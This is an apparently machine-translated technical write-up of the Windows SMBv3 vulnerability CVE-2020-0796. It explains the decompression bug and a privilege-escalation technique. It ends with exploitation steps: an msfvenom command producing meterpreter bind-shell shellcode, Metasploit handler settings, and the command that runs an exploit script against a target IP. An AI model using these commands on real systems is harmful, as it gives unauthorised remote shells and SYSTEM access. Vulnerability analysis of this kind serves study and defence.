Windows SMB remote code execution vulnerability CVE-2020-0796
Windows SMB remote code execution vulnerability CVE-2020-0796
Vulnerability Description
On March 10, 2020, Microsoft issued a security announcement on CVE-2020-0796 (ADV200005, Microsoft Guidance for Disabling SMBv3 Compression) on its official SRC, indicating that there is a remote code execution vulnerability in the client and server side of Windows SMBv3 version.
Vulnerability Impact
SMB version v3.1.1
Windows 10 Version 1903 for 32-bit SystemsWindows 10 Version 1903 for x64-based SystemsWindows 10 Version 1903 for ARM64-based SystemsWindows Server, Version 1903 (Server Core installation)Windows 10 Version 1909 for 32-bit SystemsWindows 10 Version 1909 for x64-based SystemsWindows 10 Version 1909 for ARM64-based SystemsWindows Server, Version 1909 (Server Core installation)
Vulnerability reappears
Download the corresponding system version with vulnerability
After installation, run the command winver to view the system version and see if it contains KB4551762 patch
The CVE-2020-0796
vulnerability exists in the affected version of Windows driver srv2.sys.
ProtocolId: 4 bytes, fixed to 0x424D53FC
OriginalComressedSegmentSize
: 4 bytes, original uncompressed data size CompressionAlgorithm
: 2 bytes, compression algorithm Flags
: 2 bytes, see the protocol documentation for details Offset/Length
: According to the value of Flags, it is Offset or Length. Offset represents the offset of compressed data in the data packet with respect to the current structure.
The decompression function Srv2DecompressData
in srv2.sys that handles SMBv3 compressed packets does not strictly verify the legality of the OriginalCompressedSegmentSize
and Offset/Length
fields in the data packet.
Here, the OriginalCompressedSegmentSize+Offset may be smaller than the actual memory size that needs to be allocated, so there is a risk of out-of-bounds reading or writing during subsequent calls to the decompression function SmbCompressionDecompress
.
The local rights-raising applications for this vulnerability that have been disclosed include the following main processes: (1) The verification program first creates a session connection to SMS server
(denoted as session). (2) The verification program obtains the address of the privilege
member in the kernel in the token data structure (remember tokenAddr). (3) The verification program sends abnormal compressed data (denoted as evilData) to the SMB server through session
. (4) SMS server
triggers the vulnerability after receiving evilData and modifys the permission data at the tokenAddr address, thereby enhancing the permissions of the verification program. (5) After the verification program obtains permissions, it controls winlogon and creates a system user shell.
First, take a look at the publicly utilized evilData
data package
The content of the data packet is very simple, and several of the key field data are as follows:
OriginalSize :0xffffffff Offset:0x10 Real compressed data: 13 bytes of compressed data, after decompression, it should be a 1108 bytes'A' plus 8 bytes of
token address. SMB3 raw data: It is actually composed of 2 8-byte 0x1FF2FFFBC
(total length 0x10) plus 0x13 bytes of compressed data
From the above analysis of the vulnerability principle, we can see that the cause of the vulnerability is that the Srv2DecompressData
function lacks legality judgment on the message fields, resulting in improper memory allocation.
Since the parameter passed to `SrvNetAllocateBuffer is 0xf, according to the processing flow of SrvNetAllocateBuffer, the request memory will be allocated from the SrvNetBufferLookasides table.
The SrvNetBufferLookasides
table is initialized by the function SrvNetCreateBuffer. The actual SrvNetCreateBuffer
loop calls SrvNetBufferLookasideAllocate
to allocate memory. The parameters of calling SrvNetBufferLookasideAllocate
are [‘0x1100’, ‘0x2100’, ‘0x4100’, ‘0x8100’, ‘0x10100’, ‘0x20100’, ‘0x40100’, ‘0x80100’, ‘0x100100’] respectively.
The SrvNetBufferLookasideAllocate
function actually calls SrvNetAllocateBufferFromPool
to allocate memory
In the function SrvNetAllocateBufferFromPool
, for the memory allocation size requested by the user, the memory allocated internally through the ExAllocatePoolWithTag
function is actually greater than the requested value (the extra part is used to store part of the memory-related data structure).
After the memory allocation is completed, the SrvNetAllocateBufferFromPool
function also performs a series of initialization operations on the allocated memory, and finally returns a memory information structure pointer as the return value of the function.
Here you need to pay attention to the following data relationship: The return value of SrvNetAllocateBufferFromPool
function returns return_buffer
points to a memory data structure, and the offset of the start address of the start address of the memory data structure is 0x1150 (memory allocated by the function ExAllocatePoolWithTag
) is 0x1150; the return_buffer+0x18 position points to the offset of the actual allocated memory start address of the 0x50 position, and finally return_buffer
will be used as the return value of the function SrvNetAllocateBuffer
Go back to the vulnerability decompress function Srv2DecompressData
, after memory allocation, Srv2DecompressData
calls the function SmbCompressionDecompress
to start decompressing the compressed data
In fact, this function calls the Windows library function RtlDecompressBufferEx2
to implement decompression, and analyzes the various parameters of the SmbCompressionDecompress
function according to the function prototype of RtlDecompressBufferEx2.
SmbCompressionDecompress(CompressAlgo
, //Compression Algo Compressed_buf
, //Point to compressed data in the packet Compressed_size
, //The compressed data size in the data packet is calculated to UnCompressedBuf
,//The decompressed data storage address, *(alloc_buffer+0x18)+0x10 UnCompressedSize
,//Compressed data original size, originated from the data packet OriginalCompressedSegmentSize
FinalUnCompressedSize
//The data size after final decompression
From the decompilation code, we can see that the address of the decompressed data in the function SmbCompressionDecompress
is *(alloc_buffer+0x18)+0x10. According to the memory allocation process analysis, alloc_buffer+0x18 points to the actual memory allocation start position offset 0x50, so the copy destination address is the actual memory allocation start address offset 0x60.
During the decompression process, the compressed data will be stored in the memory pointed to by this address after decompression.
Continue to look at the subsequent processing flow of Srv2DecompressData
. After the decompression is successful, the function judges that the result of offset is not 0.
memmove(*(alloc_buffer+0x18),SMB_payload,offset)
At this time, alloc_buffer+0x18 has pointed to the tokenAddr kernel address of the verification program, while SMB_payload points to the permission data in evilData at this time, and offset is 0x10.
There is another detail to note. When decompressing, the Srv2DecompressData
function will determine whether the actual decompressed data size FinalUnCompressedSize
is consistent with the original data size OriginalCompressedSegmentSize
in the data packet.
Logically speaking, the actual decompressed data size is 0x1100, which does not equal the original compressed data size in the data packet 0xffffffff. Here you should enter the subsequent memory release process.
Vulnerability POC
</a-alert>
Use Qi’anxin’s vulnerability scan to detect
</a-alert>
After running the application, the cmd window pops up as system permissions
Or use MSF’s built-in EXP windows/local/cve_2020_0796_smbghost to locally increase authority
msfvenom generates reversed shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp lport=2333 -f py -o exp.py
Will generate shellcode in exp.py replace shellcode in exploit.py
buf to be replaced with USER_PAYLOAD
, use MSF, Note that there is a blue screen probability
1
2
3
4
5
6
7
8
9
10
11
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set lport 2333
lport => 2333
msf5 exploit(multi/handler) > set rhost 192.168.1.110
rhost => 192.168.1.110
msf5 exploit(multi/handler) > exploit
执行脚本即可
python3 exploit.py -ip 192.168.1.110